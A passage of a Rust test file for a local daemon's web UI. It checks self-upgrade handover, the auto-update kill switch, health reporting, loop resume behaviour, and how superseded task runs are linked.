13961 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
13962 assert!(talks.turn_held(id), "the web turn holds the lease");
13963 drop(turn);
13964 assert!(
13965 !talks.turn_held(id),
13966 "dropping the guard releases the lease"
13967 );
13968 }
13969
13970 #[tokio::test]
13971 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
13972 let fx = Fixture::start().await;
13973 let mut beat = crate::daemon::Status::new();
13977 beat.pid = 4321;
13978 beat.updated_at = jiff::Timestamp::now();
13979 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13980 .expect("publish a heartbeat");
13981
13982 let res = fx.post("/api/upgrade", None).await;
13983 assert_eq!(res.status, 409);
13984 let err = res.json()["error"].as_str().unwrap().to_owned();
13985 assert!(err.contains("4321"), "the refusal names the owner: {err}");
13986 assert!(err.contains("old one against the same queue"), "{err}");
13987 }
13988
13989 #[test]
13996 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
13997 assert!(!should_spawn_recheck(&crate::config::Update {
13998 mode: UpdateMode::Off,
13999 interval: None,
14000 }));
14001
14002 unsafe {
14005 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14006 }
14007 let killed = should_spawn_recheck(&crate::config::Update {
14008 mode: UpdateMode::Notify,
14009 interval: None,
14010 });
14011 unsafe {
14012 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14013 }
14014 assert!(
14015 !killed,
14016 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
14017 one-time startup check"
14018 );
14019
14020 assert!(should_spawn_recheck(&crate::config::Update {
14021 mode: UpdateMode::Notify,
14022 interval: None,
14023 }));
14024 }
14025
14026 #[test]
14032 fn recheck_poll_period_tracks_a_short_configured_interval() {
14033 let short = crate::config::Update {
14034 mode: UpdateMode::Notify,
14035 interval: Some("1m".to_owned()),
14036 };
14037 let period = recheck_poll_period(&short);
14038 assert!(
14039 period <= Duration::from_secs(30),
14040 "a one-minute interval must wake the task far sooner than the \
14041 default ceiling, or the deck would not notice within the \
14042 interval the operator configured: got {period:?}"
14043 );
14044
14045 let default = crate::config::Update {
14046 mode: UpdateMode::Notify,
14047 interval: None,
14048 };
14049 assert_eq!(
14050 recheck_poll_period(&default),
14051 UPDATE_RECHECK_POLL_MAX,
14052 "the default day-long interval should poll at the (capped) \
14053 ceiling rather than needlessly often"
14054 );
14055 }
14056
14057 #[test]
14065 fn recheck_skips_the_network_before_the_interval_elapses() {
14066 let dir = TempDir::new().expect("temp dir");
14067 let path = dir.path().join("state.json");
14068 let state = kaishin::UpdateCheckState {
14069 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
14070 last_known_latest: None,
14071 last_known_url: None,
14072 };
14073 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
14074
14075 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
14076 assert!(
14077 !update_recheck_due(&checker, None),
14078 "a check made moments ago must not be repeated before the \
14079 configured interval elapses"
14080 );
14081 }
14082
14083 #[test]
14089 fn recheck_defers_to_an_upgrade_already_in_flight() {
14090 let dir = TempDir::new().expect("temp dir");
14091 let path = dir.path().join("state.json");
14092 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
14093 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
14094
14095 assert!(
14096 !update_recheck_due(&checker, Some(&progress)),
14097 "a recheck must not run while an upgrade this deck started is \
14098 still moving"
14099 );
14100 }
14101
14102 #[tokio::test]
14103 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
14104 unsafe {
14116 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14117 }
14118 let fx = Fixture::start().await;
14119 let res = fx.post("/api/upgrade", None).await;
14120 unsafe {
14121 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14122 }
14123 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14124 let body = res.json();
14125 assert!(body["to"].is_null(), "there was no release to move to");
14126 assert!(body["parked"].is_null(), "and nothing was parked");
14127 assert!(
14128 body["detail"]
14129 .as_str()
14130 .unwrap()
14131 .contains("disabled by MAGI_NO_AUTOUPDATE"),
14132 "{body:?}"
14133 );
14134 }
14135
14136 #[tokio::test]
14137 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
14138 let repo = TempDir::new().expect("repo dir");
14154 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14155 .expect("write magi.toml");
14156 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14157
14158 let res = fx.post("/api/upgrade", None).await;
14164 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14165 let body = res.json();
14166 assert!(body["to"].is_null(), "there was no release to move to");
14167 assert!(body["parked"].is_null(), "and nothing was parked");
14168 assert!(
14169 body["detail"]
14170 .as_str()
14171 .unwrap()
14172 .contains("nothing restarted"),
14173 "{body:?}"
14174 );
14175 }
14176
14177 #[tokio::test]
14178 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
14179 let repo = TempDir::new().expect("repo dir");
14184 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14185 .expect("write magi.toml");
14186 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14187
14188 let health = fx.get("/api/health").await.json();
14189 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
14190 assert_eq!(
14191 health["update"]["available"], false,
14192 "checking is off, which reads as \"unknown\", not \"none\""
14193 );
14194 assert!(health["update"]["to"].is_null());
14195 assert!(
14196 health["upgrade"].is_null(),
14197 "nothing has ever asked this deck to upgrade"
14198 );
14199 }
14200
14201 #[tokio::test]
14202 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
14203 let fx = Fixture::start().await;
14204 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
14205
14206 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14207 progress.parked_run = Some("20260905-000000-cd51".to_owned());
14208 progress.advance(crate::updater::Stage::Parking);
14209 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14210
14211 let health = fx.get("/api/health").await.json();
14212 assert_eq!(health["upgrade"]["stage"], "parking");
14213 assert_eq!(health["upgrade"]["from"], "0.5.1");
14214 assert_eq!(health["upgrade"]["to"], "0.5.2");
14215 let waiting_on = health["upgrade"]["waiting_on"]
14216 .as_str()
14217 .expect("waiting_on is set while parking a known run");
14218 assert!(waiting_on.contains("cd51"), "{waiting_on}");
14219 assert!(waiting_on.contains("implementing"), "{waiting_on}");
14220 }
14221
14222 #[tokio::test]
14223 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
14224 let fx = Fixture::start().await;
14225 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14226 progress.advance(crate::updater::Stage::Done);
14227 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14228
14229 let health = fx.get("/api/health").await.json();
14230 assert_eq!(health["upgrade"]["stage"], "done");
14231 assert!(
14232 health["upgrade"]["waiting_on"].is_null(),
14233 "nothing to wait on once it is done"
14234 );
14235 }
14236
14237 #[tokio::test]
14238 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
14239 let home = TempDir::new().expect("temp home");
14240 let runs = home.path().join("runs");
14241 std::fs::create_dir_all(&runs).expect("runs dir");
14242 let ui = Ui::new(
14243 Queue::at(home.path().join("queue")),
14244 Questions::at(home.path().join("questions")),
14245 Talks::at(home.path().join("talks")),
14246 runs,
14247 home.path().to_path_buf(),
14248 PathBuf::from("/repo/magi"),
14249 )
14250 .with_launch(launch_idle);
14251 let looping = ui.looping();
14252 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14253 .await
14254 .expect("bind loopback");
14255 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14256
14257 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14258 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14259
14260 hand_over(home.path(), &looping, served, |_| Ok(1))
14261 .await
14262 .expect("hand over");
14263
14264 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
14265 assert_eq!(
14266 after.stage,
14267 crate::updater::Stage::Restarting,
14268 "hand_over owns the record through parking and up to restarting; \
14269 the successor is what finishes it"
14270 );
14271 }
14272
14273 #[tokio::test]
14276 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
14277 for fail in [false, true] {
14278 let home = TempDir::new().expect("temp home");
14279 let ui = idle_ui(&home);
14280 let looping = ui.looping();
14281 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14282 .await
14283 .expect("bind loopback");
14284 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14285 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14286 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14287
14288 let calls = std::sync::atomic::AtomicUsize::new(0);
14289 let outcome = hand_over(home.path(), &looping, served, |_| {
14290 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
14291 if fail {
14292 anyhow::bail!("no exec")
14293 } else {
14294 Ok(4242)
14295 }
14296 })
14297 .await;
14298 assert_eq!(outcome.is_err(), fail);
14299 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
14300
14301 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
14302 .expect("upgrade.log is written under the home");
14303 for step in [
14304 "entered",
14305 "finish_loop",
14306 "listener released",
14307 "starting the successor",
14308 ] {
14309 assert!(log.contains(step), "missing `{step}` in:\n{log}");
14310 }
14311 assert!(
14312 log.contains(if fail { "did not start" } else { "pid 4242" }),
14313 "{log}"
14314 );
14315 }
14316 }
14317
14318 #[tokio::test]
14321 async fn the_handover_signal_wakes_one_waiter_once() {
14322 let signal = Notify::new();
14323 signal.notify_one();
14325 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
14326 .await
14327 .expect("an early signal is still seen");
14328 assert!(
14330 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
14331 .await
14332 .is_err(),
14333 "a consumed signal must not wake a second time"
14334 );
14335 let signal = std::sync::Arc::new(signal);
14337 let waiter = tokio::spawn({
14338 let signal = std::sync::Arc::clone(&signal);
14339 async move { wait_for_handover(&signal).await }
14340 });
14341 tokio::time::sleep(Duration::from_millis(20)).await;
14342 assert!(!waiter.is_finished(), "nothing was signalled yet");
14343 signal.notify_one();
14344 tokio::time::timeout(Duration::from_secs(5), waiter)
14345 .await
14346 .expect("a late signal wakes the waiter")
14347 .expect("join");
14348 }
14349
14350 #[tokio::test]
14351 async fn health_says_how_long_a_handover_has_been_stuck() {
14352 let fx = Fixture::start().await;
14353 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14354 progress.advance(crate::updater::Stage::Replaced);
14355 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
14356 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14357
14358 let health = fx.get("/api/health").await.json();
14359 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
14360 assert!(stuck >= 600, "{stuck}");
14361 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
14362 }
14363
14364 fn idle_ui(home: &TempDir) -> Ui {
14365 let runs = home.path().join("runs");
14366 std::fs::create_dir_all(&runs).expect("runs dir");
14367 Ui::new(
14368 Queue::at(home.path().join("queue")),
14369 Questions::at(home.path().join("questions")),
14370 Talks::at(home.path().join("talks")),
14371 runs,
14372 home.path().to_path_buf(),
14373 PathBuf::from("/repo/magi"),
14374 )
14375 .with_launch(launch_idle)
14376 }
14377
14378 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
14380 let looping = ui.looping();
14381 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14382 .await
14383 .expect("bind loopback");
14384 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14385 let told = std::sync::Mutex::new(None);
14386 hand_over(home.path(), &looping, served, |resume| {
14387 *told.lock().unwrap() = Some(resume);
14388 Ok(1)
14389 })
14390 .await
14391 .expect("hand over");
14392 told.into_inner().unwrap().expect("successor was started")
14393 }
14394
14395 #[tokio::test]
14396 async fn a_running_loop_is_resumed_by_the_successor() {
14397 let home = TempDir::new().expect("temp home");
14398 let ui = idle_ui(&home);
14399 ui.start_loop(None).expect("start");
14400 ui.park_for_upgrade().expect("park");
14401 for _ in 0..500 {
14403 if !ui.loop_view(None).running {
14404 break;
14405 }
14406 tokio::time::sleep(Duration::from_millis(2)).await;
14407 }
14408 assert!(handed_over(&home, ui).await, "a running loop must resume");
14409
14410 let successor = idle_ui(&home);
14411 assert!(!successor.loop_view(None).running);
14412 assert!(successor.resume_after_handover(true));
14413 assert!(successor.loop_view(None).running);
14414 successor.stop_loop(None, false).expect("stop");
14415 }
14416
14417 #[tokio::test]
14418 async fn a_second_upgrade_request_keeps_the_resume_intent() {
14419 let home = TempDir::new().expect("temp home");
14420 let ui = idle_ui(&home);
14421 ui.start_loop(None).expect("start");
14422 ui.park_for_upgrade().expect("first park");
14423 ui.park_for_upgrade().expect("second park");
14424 assert!(handed_over(&home, ui).await);
14425 }
14426
14427 #[tokio::test]
14428 async fn a_stop_during_the_handover_wait_is_honoured() {
14429 let home = TempDir::new().expect("temp home");
14430 let ui = idle_ui(&home);
14431 ui.start_loop(None).expect("start");
14432 ui.park_for_upgrade().expect("park");
14433 ui.stop_loop(None, false).expect("stop");
14434 assert!(!handed_over(&home, ui).await);
14435 }
14436
14437 #[tokio::test]
14438 async fn an_idle_loop_stays_stopped_across_the_handover() {
14439 let home = TempDir::new().expect("temp home");
14440 let ui = idle_ui(&home);
14441 ui.park_for_upgrade().expect("park");
14442 assert!(!handed_over(&home, ui).await);
14443
14444 let successor = idle_ui(&home);
14445 assert!(!successor.resume_after_handover(false));
14446 assert!(!successor.loop_view(None).running);
14447 }
14448
14449 #[tokio::test]
14450 async fn a_loop_the_operator_stopped_is_not_resumed() {
14451 let home = TempDir::new().expect("temp home");
14452 let ui = idle_ui(&home);
14453 ui.start_loop(None).expect("start");
14454 ui.stop_loop(None, false).expect("stop");
14455 ui.park_for_upgrade().expect("park");
14456 assert!(!handed_over(&home, ui).await);
14457 }
14458
14459 #[test]
14460 fn only_an_explicit_one_requests_a_resume() {
14461 assert!(!resume_requested(None));
14462 assert!(!resume_requested(Some("0".into())));
14463 assert!(!resume_requested(Some("".into())));
14464 assert!(resume_requested(Some("1".into())));
14465 }
14466
14467 #[test]
14468 fn the_upgrade_button_arms_before_it_restarts_anything() {
14469 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
14472 assert!(APP_JS.contains("Replace the binary and restart?"));
14473 assert!(APP_JS.contains("function confirmed("));
14474 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
14479 assert!(
14483 APP_JS.contains("Parking, then restarting"),
14484 "the button says what it is waiting for"
14485 );
14486 assert!(APP_JS.contains("if (!out.to)"));
14489 }
14490
14491 #[test]
14492 fn stopping_the_loop_arms_but_starting_does_not() {
14493 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
14496 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
14497 assert!(APP_JS.contains("confirmed(button, question)"));
14498 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
14501 assert!(APP_JS.contains("const label = btn.textContent;"));
14502 assert!(!APP_JS.contains("Neither direction is guarded"));
14503 }
14504
14505 #[test]
14506 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
14507 assert!(
14508 APP_JS.contains("state.health.version"),
14509 "the operator wants to know what is running even with nothing newer"
14510 );
14511 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
14512 }
14513
14514 #[test]
14515 fn the_upgrade_button_names_its_destination() {
14516 assert!(
14517 APP_JS.contains("`Update to ${update.to}`"),
14518 "pressing the button should not be a surprise about what it moves to"
14519 );
14520 }
14521
14522 #[test]
14523 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
14524 for stage in ["downloading", "replaced", "parking", "restarting"] {
14525 assert!(
14526 APP_JS.contains(&format!("\"{stage}\"")),
14527 "the phone must be able to tell {stage} apart from the others"
14528 );
14529 }
14530 assert!(APP_JS.contains(".waiting_on"));
14531 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
14536 assert!(APP_JS.contains("reconnects on its own"));
14537 }
14538
14539 #[test]
14540 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
14541 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
14550 ..APP_JS.find("function upgrade(").expect("upgrade")];
14551 assert!(
14552 !body.contains(
14553 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
14554 ),
14555 "a failed upgrade must not take the whole strip over the way it used to"
14556 );
14557 assert!(
14558 body.contains("upgradeFailNote"),
14559 "the failure has to reach the loop's own note instead"
14560 );
14561 assert_eq!(
14565 body.matches("upgradeFailNote].filter(Boolean).join")
14566 .count(),
14567 2,
14568 "both loop-why writers (quiet and control) must fold the note in"
14569 );
14570 }
14571
14572 #[test]
14573 fn an_overdue_upgrade_eventually_asks_for_a_human() {
14574 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
14577 assert!(APP_JS.contains("function upgradeOverdue("));
14578 }
14579
14580 #[test]
14581 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
14582 assert!(
14583 APP_JS.contains("Updated to ${upgradeInfo.to"),
14584 "the operator who asked for the restart wants to know it worked"
14585 );
14586 }
14587
14588 #[test]
14589 fn an_error_is_visible_from_where_the_button_is() {
14590 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
14595 ..APP_CSS.find(".alert-text").expect(".alert-text")];
14596 assert!(
14597 alert.contains("position: fixed"),
14598 "an error about the thing under your thumb has to be visible from \
14599 where your thumb is: {alert}"
14600 );
14601 assert!(
14602 alert.contains("z-index: 25"),
14603 "above the dock (20) and the run-actions FAB (15), so neither \
14604 buries it: {alert}"
14605 );
14606 assert!(
14607 alert.contains("var(--tap)"),
14608 "and clear of the dock and the home indicator: {alert}"
14609 );
14610 assert!(
14613 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
14614 "the FAB's column stays free: {alert}"
14615 );
14616 }
14617
14618 #[tokio::test]
14619 async fn an_older_attempt_says_what_replaced_it() {
14620 let fx = Fixture::start().await;
14621 let q = fx.queue();
14622 let runs = fx.runs();
14623 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14624 write_run(&runs, first, RunStatus::Stalled);
14625 write_run(&runs, second, RunStatus::Blocked);
14626
14627 let mut t = Task::new(
14628 "one task".to_owned(),
14629 "do it".to_owned(),
14630 PathBuf::from("/repo"),
14631 Source::Human,
14632 );
14633 t.runs = vec![first.to_owned(), second.to_owned()];
14634 q.put(&mut t).expect("put");
14635
14636 let rows = fx.get("/api/runs").await.json();
14640 let by = |short: &str| -> Value {
14641 rows.as_array()
14642 .unwrap()
14643 .iter()
14644 .find(|r| r["short"] == short)
14645 .cloned()
14646 .unwrap_or(Value::Null)
14647 };
14648 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
14649 assert!(
14650 by("bbbb")["superseded_by"].is_null(),
14651 "the latest attempt is not superseded by anything"
14652 );
14653 assert!(APP_JS.contains("run.superseded_by"));
14655 assert!(APP_JS.contains("Superseded by"));
14656 }
14657
14658 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
14659 let mut t = Task::new(
14660 "one task".to_owned(),
14661 "do it".to_owned(),
14662 PathBuf::from("/repo"),
14663 Source::Human,
14664 );
14665 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
14666 t.status = status;
14667 t
14668 }
14669
14670 #[test]
14671 fn source_link_picks_the_page_that_filed_the_task() {
14672 let agent = |node: &str| Source::Agent {
14673 run: "20260904-014455-ab12".to_owned(),
14674 node: node.to_owned(),
14675 };
14676 let chat = source_link(&agent("chat")).expect("chat link");
14677 assert_eq!(chat.kind, "chat");
14678 assert_eq!(chat.id, "20260904-014455-ab12");
14679 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
14680 let run = source_link(&agent("implement")).expect("run link");
14681 assert_eq!(
14682 (run.kind, run.href.as_str()),
14683 ("run", "#/runs/20260904-014455-ab12")
14684 );
14685 assert_eq!(source_link(&Source::Human), None);
14686 assert_eq!(
14687 source_link(&Source::Issue {
14688 number: 3,
14689 repo: "o/r".to_owned()
14690 }),
14691 None
14692 );
14693 let odd = source_link(&Source::Agent {
14694 run: "a b/c".to_owned(),
14695 node: "chat".to_owned(),
14696 })
14697 .expect("link");
14698 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
14699 }
14700
14701 #[test]
14702 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
14703 assert!(
14704 !APP_JS.contains("src.node === \"chat\""),
14705 "inline href rule is back"
14706 );
14707 assert!(
14708 APP_JS.matches("sourceLinkOf(").count() >= 4,
14709 "helper must serve every page"
14710 );
14711 assert!(
14712 APP_JS.matches("openChatLink(").count() >= 3,
14713 "the run page still needs its explicit chat link"
14714 );
14715 assert!(
14716 !APP_JS.contains("const openChat = el("),
14717 "the Queue card duplicates its source label link again"
14718 );
14719 assert!(
14720 APP_JS.contains("metaKids.push(link ? el(\"a\""),
14721 "the task page must link a chat source label too"
14722 );
14723 }
14724
14725 #[test]
14726 fn task_ref_carries_the_source_link_for_a_chat_task() {
14727 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14728 t.source = Source::Agent {
14729 run: "20260904-014455-ab12".to_owned(),
14730 node: "chat".to_owned(),
14731 };
14732 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
14733 let v = serde_json::to_value(&out).expect("json");
14734 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
14735 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
14736 assert_eq!(v["source_label"], t.source.label());
14737
14738 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14739 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
14740 .expect("json");
14741 assert!(v["source_link"].is_null(), "{v}");
14742 }
14743
14744 #[test]
14745 fn task_view_serializes_source_link() {
14746 let mut t = Task::new(
14747 "t".to_owned(),
14748 "t".to_owned(),
14749 PathBuf::from("/repo"),
14750 Source::Agent {
14751 run: "20260901-000000-aaaa".to_owned(),
14752 node: "implement".to_owned(),
14753 },
14754 );
14755 t.runs.clear();
14756 let v = serde_json::to_value(TaskView::from(t)).expect("json");
14757 assert_eq!(v["source_link"]["kind"], "run", "{v}");
14758 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
14759 }
14760
14761 #[tokio::test]
14762 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
14763 let fx = Fixture::start().await;
14764 let runs = fx.runs();
14765 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14766 write_run(&runs, old, RunStatus::Blocked);
14767 write_run(&runs, new, RunStatus::Merged);
14768 let mut t = outcome_task(&[old, new], TaskStatus::Done);
14769 fx.queue().put(&mut t).expect("put");
14770
14771 let view = fx.get(&format!("/api/runs/{old}")).await.json();
14772 let task = &view["task"];
14773 assert_eq!(task["status"], "done");
14774 assert_eq!(task["is_latest"], false);
14775 assert_eq!(task["latest"]["short"], "bbbb");
14776 assert_eq!(task["finished_by"]["id"], new);
14777 assert_eq!(task["finished_by"]["outcome"], "merged");
14778 assert_eq!(task["closed_by_hand"], false);
14779 assert_eq!(view["status"], "blocked", "the run keeps its own status");
14780 assert!(APP_JS.contains("finished_by"));
14781 assert!(APP_JS.contains("superseded by run"));
14782 }
14783
14784 #[tokio::test]
14785 async fn the_latest_run_reports_a_held_task_without_a_successor() {
14786 let fx = Fixture::start().await;
14787 let runs = fx.runs();
14788 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14789 write_run(&runs, old, RunStatus::Stalled);
14790 write_run(&runs, new, RunStatus::Blocked);
14791 let mut t = outcome_task(&[old, new], TaskStatus::Held);
14792 fx.queue().put(&mut t).expect("put");
14793
14794 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
14795 assert_eq!(task["status"], "held");
14796 assert_eq!(task["is_latest"], true);
14797 assert!(task["latest"].is_null());
14798 assert!(task["finished_by"].is_null());
14799 assert_eq!(task["closed_by_hand"], false);
14800 }
14801
14802 #[tokio::test]
14803 async fn a_direct_run_has_no_task_outcome() {
14804 let fx = Fixture::start().await;
14805 let runs = fx.runs();
14806 let id = "20260901-000000-aaaa";
14807 write_run(&runs, id, RunStatus::Blocked);
14808 let view = fx.get(&format!("/api/runs/{id}")).await.json();
14809 assert!(view["task"].is_null());
14810 }
14811
14812 #[test]
14813 fn task_outcome_does_not_guess_a_finishing_run() {
14814 let a = "20260901-000000-aaaa";
14815 let b = "20260901-000000-bbbb";
14816 let c = "20260901-000000-cccc";
14817 let dir = tempfile::tempdir().expect("tempdir");
14818 write_run(dir.path(), a, RunStatus::Blocked);
14819 write_run(dir.path(), b, RunStatus::VerifiedNoop);
14820 let read = |id: &str| read_run(dir.path(), id).ok();
14822 let t = outcome_task(&[a, b, c], TaskStatus::Done);
14825 let out = task_outcome(&t, a, 3, read);
14826 assert!(out.finished_by.is_none());
14827 assert!(out.closed_by_hand);
14828 let latest = out.latest.expect("latest");
14829 assert_eq!(latest.id, c);
14830 assert_eq!(latest.status, None);
14831 assert_eq!(latest.outcome, "record unreadable");
14832
14833 write_run(dir.path(), c, RunStatus::Ready);
14835 let t = outcome_task(&[a, c], TaskStatus::Done);
14836 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
14837 assert_eq!(out.finished_by.expect("finisher").id, c);
14838 assert!(!out.closed_by_hand);
14839
14840 let t = outcome_task(&[a, b, a], TaskStatus::Held);
14842 assert!(task_outcome(&t, a, 3, read).is_latest);
14843 }
14844
14845 #[tokio::test]
14846 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
14847 let fx = Fixture::start().await;
14852 let q = fx.queue();
14853 let runs = fx.runs();
14854 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
14855 write_run(&runs, first, RunStatus::Blocked);
14856 write_run(&runs, second, RunStatus::Merged);
14857
14858 let mut t = Task::new(
14859 "one task".to_owned(),
14860 "do it".to_owned(),
14861 PathBuf::from("/repo"),
14862 Source::Human,
14863 );
14864 t.runs = vec![first.to_owned(), second.to_owned()];
14865 q.put(&mut t).expect("put");
14866
14867 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
14868 assert_eq!(earlier["superseded_by"], "dddd");
14869 assert_eq!(earlier["latest_attempt"]["id"], second);
14870 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
14871 assert_eq!(
14872 earlier["latest_attempt"]["resolved"], true,
14873 "the run that replaced it landed, so this one reads as settled"
14874 );
14875
14876 let later = fx.get(&format!("/api/runs/{second}")).await.json();
14877 assert!(
14878 later["superseded_by"].is_null(),
14879 "the latest attempt is not superseded by anything"
14880 );
14881 assert!(
14882 later["latest_attempt"].is_null(),
14883 "the latest attempt has no later attempt of its own"
14884 );
14885
14886 assert!(APP_JS.contains("run.latest_attempt"));
14893 assert!(APP_JS.contains("data-superseded"));
14894 assert!(APP_JS.contains("#/runs/${latest.id}"));
14895 }
14896
14897 #[tokio::test]
14898 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
14899 let fx = Fixture::start().await;
14905 let q = fx.queue();
14906 let runs = fx.runs();
14907 let (a, b, c) = (
14908 "20260901-000000-aaaa",
14909 "20260901-000000-bbbb",
14910 "20260901-000000-cccc",
14911 );
14912 write_run(&runs, a, RunStatus::Blocked);
14913 write_run(&runs, b, RunStatus::Blocked);
14914 write_run(&runs, c, RunStatus::Merged);
14915
14916 let mut t = Task::new(
14917 "retried twice".to_owned(),
14918 "do it".to_owned(),
14919 PathBuf::from("/repo"),
14920 Source::Human,
14921 );
14922 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
14923 q.put(&mut t).expect("put");
14924
14925 let view = fx.get(&format!("/api/runs/{a}")).await.json();
14926 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
14927 assert_eq!(
14928 view["latest_attempt"]["id"], c,
14929 "the chain's current head, not the intermediate Blocked retry"
14930 );
14931 assert_eq!(view["latest_attempt"]["resolved"], true);
14932
14933 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
14934 assert_eq!(mid["latest_attempt"]["id"], c);
14935 assert_eq!(mid["latest_attempt"]["resolved"], true);
14936 }
14937
14938 #[tokio::test]
14939 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
14940 let fx = Fixture::start().await;
14941 let q = fx.queue();
14942 let runs = fx.runs();
14943
14944 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
14947 write_run(&runs, still_blocked_a, RunStatus::Blocked);
14948 write_run(&runs, still_blocked_b, RunStatus::Blocked);
14949 let mut t1 = Task::new(
14950 "still stuck".to_owned(),
14951 "do it".to_owned(),
14952 PathBuf::from("/repo"),
14953 Source::Human,
14954 );
14955 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
14956 q.put(&mut t1).expect("put");
14957 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
14958 assert_eq!(view1["latest_attempt"]["resolved"], false);
